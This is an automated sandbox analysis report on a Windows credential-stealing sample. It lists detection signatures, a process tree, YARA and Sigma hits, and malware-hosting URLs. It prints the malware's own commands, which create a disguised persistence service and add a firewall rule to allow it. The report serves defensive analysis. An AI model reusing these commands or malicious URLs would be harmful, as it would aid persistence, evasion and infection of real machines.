Play interactive tour

Edit tour

Windows Analysis Report nkINykHreE.exe

Overview

General Information

Sample Name:	nkINykHreE.exe
Analysis ID:	547895
MD5:	dc67c627917ff9724f3c1e6db5f2dc27
SHA1:	4b7528999ad6095b3fbb3aec059efb88d999ea95
SHA256:	26a4c5b36d9fde80ea47137eb53b40dacf240432a5895f98417eae51b6b681da
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade analysis by execution special instruction which cause usermode exception

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Hides threads from debuggers

Writes to foreign memory regions

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Modifies the windows firewall

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Modifies existing windows services

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Checks for debuggers (devices)

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Connects to a URL shortener service

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to detect virtual machines (SLDT)

Uses SMTP (mail sending)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

nkINykHreE.exe (PID: 800 cmdline: "C:\Users\user\Desktop\nkINykHreE.exe" MD5: DC67C627917FF9724F3C1E6DB5F2DC27)

nkINykHreE.exe (PID: 3092 cmdline: "C:\Users\user\Desktop\nkINykHreE.exe" MD5: DC67C627917FF9724F3C1E6DB5F2DC27)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

115B.exe (PID: 340 cmdline: C:\Users\user\AppData\Local\Temp\115B.exe MD5: DC67C627917FF9724F3C1E6DB5F2DC27)

115B.exe (PID: 1412 cmdline: C:\Users\user\AppData\Local\Temp\115B.exe MD5: DC67C627917FF9724F3C1E6DB5F2DC27)

2997.exe (PID: 6936 cmdline: C:\Users\user\AppData\Local\Temp\2997.exe MD5: 1F935BFFF0F8128972BC69625E5B2A6C)

18D.exe (PID: 4992 cmdline: C:\Users\user\AppData\Local\Temp\18D.exe MD5: B7B184D2B0910148CABB9B5E915753D6)

cmd.exe (PID: 6552 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dbgxuqbr\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 1768 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 2856 cmdline: C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 3952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 4784 cmdline: C:\Windows\System32\sc.exe" description dbgxuqbr "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 4696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6404 cmdline: "C:\Windows\System32\sc.exe" start dbgxuqbr MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 7000 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 2076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

CBA.exe (PID: 5652 cmdline: C:\Users\user\AppData\Local\Temp\CBA.exe MD5: 6C72997AA5DD44A44B27BD36347BAED9)

CBA.exe (PID: 7052 cmdline: C:\Users\user\AppData\Local\Temp\CBA.exe MD5: 6C72997AA5DD44A44B27BD36347BAED9)

2757.exe (PID: 2904 cmdline: C:\Users\user\AppData\Local\Temp\2757.exe MD5: 67B848B139E584BF3361A51160FC6731)

4187.exe (PID: 6064 cmdline: C:\Users\user\AppData\Local\Temp\4187.exe MD5: C085684DB882063C21F18D251679B0CC)

13E0.exe (PID: 3952 cmdline: C:\Users\user\AppData\Local\Temp\13E0.exe MD5: AA519DEEB511E886E73F8E0256180800)

1B15.exe (PID: 6380 cmdline: C:\Users\user\AppData\Local\Temp\1B15.exe MD5: D8B78E7D4D822C10CCE3654D7F9E4931)

28C2.exe (PID: 6488 cmdline: C:\Users\user\AppData\Local\Temp\28C2.exe MD5: F111EE7C9F26F50F9EFEEB6EF6C32A3C)

315E.exe (PID: 7032 cmdline: C:\Users\user\AppData\Local\Temp\315E.exe MD5: 4FB3361FFC7E5DD2FAD4413866DB6D2E)

4583.exe (PID: 4784 cmdline: C:\Users\user\AppData\Local\Temp\4583.exe MD5: 11124BB02075AD2D9D750343B42F932A)

svchost.exe (PID: 6444 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6644 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6720 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6816 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6868 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6888 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4176 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 4140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

haifbcd (PID: 2908 cmdline: C:\Users\user\AppData\Roaming\haifbcd MD5: DC67C627917FF9724F3C1E6DB5F2DC27)

haifbcd (PID: 4544 cmdline: C:\Users\user\AppData\Roaming\haifbcd MD5: DC67C627917FF9724F3C1E6DB5F2DC27)

sdiimdop.exe (PID: 4560 cmdline: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d"C:\Users\user\AppData\Local\Temp\18D.exe" MD5: F548B3529CA470C25E50AF6220AD3098)

svchost.exe (PID: 5180 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 7064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

scifbcd (PID: 6852 cmdline: C:\Users\user\AppData\Roaming\scifbcd MD5: 1F935BFFF0F8128972BC69625E5B2A6C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000000.282842442.0000000003A61000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000011.00000002.370053936.0000000000751000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000031.00000002.609571282.0000000003AA7000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002F.00000002.595854272.0000000000DF0000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002F.00000002.595854272.0000000000DF0000.00000040.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000021.00000000.402116569.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002E.00000002.574522590.00000000007C0000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002E.00000002.574522590.00000000007C0000.00000040.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002F.00000002.566415908.0000000000961000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002F.00000002.566415908.0000000000961000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000021.00000000.403620699.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001F.00000003.395236716.0000000000570000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000021.00000000.401238970.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.352429754.0000000002091000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002E.00000002.574236563.000000000074E000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.297306514.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002E.00000002.525192064.0000000000400000.00000040.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002E.00000002.525192064.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000026.00000002.444174815.0000000000951000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000031.00000002.571891585.0000000002B14000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.515289620.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.352266837.00000000005C0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000003.484873099.00000000034F2000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000031.00000003.491680197.00000000009A3000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000022.00000002.550647204.0000000002BB0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000031.00000002.552523209.0000000002515000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001F.00000002.396983806.0000000000600000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002F.00000002.533111165.0000000000400000.00000040.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002F.00000002.533111165.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002E.00000003.469387095.0000000000980000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002E.00000003.469387095.0000000000980000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000021.00000000.403113050.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.408243360.0000000004121000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000031.00000002.571203673.00000000029E0000.00000004.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.297326406.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000011.00000002.370019662.0000000000620000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000026.00000002.442728079.0000000000630000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000003.369452134.0000000000560000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002F.00000003.476837740.0000000000ED0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002F.00000003.476837740.0000000000ED0000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000031.00000002.568085789.0000000002810000.00000004.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 18D.exe PID: 4992	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: sdiimdop.exe PID: 4560	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: CBA.exe PID: 7052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: svchost.exe PID: 5180	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 46 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.nkINykHreE.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.2.18D.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
31.2.sdiimdop.exe.540e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
13.2.haifbcd.4715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
34.2.svchost.exe.2bb0000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
31.2.sdiimdop.exe.600000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
33.0.CBA.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.1.nkINykHreE.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.2.sdiimdop.exe.600000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
18.2.18D.exe.540e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
15.1.haifbcd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
33.2.CBA.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.nkINykHreE.exe.5415a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.3.sdiimdop.exe.570000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
14.2.115B.exe.4715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.2.18D.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
16.1.115B.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
33.0.CBA.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.0.CBA.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.3.18D.exe.560000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
31.2.sdiimdop.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
15.2.haifbcd.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.CBA.exe.423fe20.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.0.CBA.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
31.2.sdiimdop.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
33.0.CBA.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.CBA.exe.423fe20.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
34.2.svchost.exe.2bb0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
16.2.115B.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 24 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d"C:\Users\user\AppData\Local\Temp\18D.exe", ParentImage: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe, ParentProcessId: 4560, ProcessCommandLine: svchost.exe, ProcessId: 5180

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\18D.exe, ParentImage: C:\Users\user\AppData\Local\Temp\18D.exe, ParentProcessId: 4992, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\, ProcessId: 1768

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d"C:\Users\user\AppData\Local\Temp\18D.exe", ParentImage: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe, ParentProcessId: 4560, ProcessCommandLine: svchost.exe, ProcessId: 5180

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\18D.exe, ParentImage: C:\Users\user\AppData\Local\Temp\18D.exe, ParentProcessId: 4992, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 7000

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\18D.exe, ParentImage: C:\Users\user\AppData\Local\Temp\18D.exe, ParentProcessId: 4992, ProcessCommandLine: C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 2856

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://65.108.180.72/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://91.243.44.130/stlr/maps.exe	Avira URL Cloud: Label: malware
Source: http://65.108.180.72/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://91.219.236.18/capibarl	Avira URL Cloud: Label: phishing
Source: http://privacytools-foryou-777.com/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://65.108.180.72/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/8584_1641133152_551.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/game.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/2184_1641247228_8717.exe	Avira URL Cloud: Label: malware
Source: http://91.219.236.18/3	Avira URL Cloud: Label: phishing
Source: http://194.180.174.53/capibar0	Avira URL Cloud: Label: phishing
Source: http://unic11m.top/install1.exe	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: nkINykHreE.exe	Virustotal: Detection: 25%			Perma Link
Source: nkINykHreE.exe	ReversingLabs: Detection: 25%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://65.108.180.72/msvcp140.dll	Virustotal: Detection: 9%	Perma Link
Source: http://91.243.44.130/stlr/maps.exe	Virustotal: Detection: 8%	Perma Link
Source: http://65.108.180.72/mozglue.dll	Virustotal: Detection: 10%	Perma Link

Machine Learning detection for sample

Show sources

Source: nkINykHreE.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\115B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\scifbcd	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4187.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\315E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4BED.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1B15.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\28C2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4583.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\haifbcd	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\sdiimdop.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Joe Sandbox ML: detected

Source: 31.2.sdiimdop.exe.540e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 31.3.sdiimdop.exe.570000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 34.2.svchost.exe.2bb0000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 31.2.sdiimdop.exe.600000.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 18.3.18D.exe.560000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 39.2.2757.exe.1150000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 18.2.18D.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 18.2.18D.exe.540e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 31.2.sdiimdop.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\18D.exe	Unpacked PE file: 18.2.18D.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Unpacked PE file: 31.2.sdiimdop.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4187.exe	Unpacked PE file: 42.2.4187.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4187.exe	Unpacked PE file: 42.2.4187.exe.400000.0.unpack

Source: nkINykHreE.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\2997.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

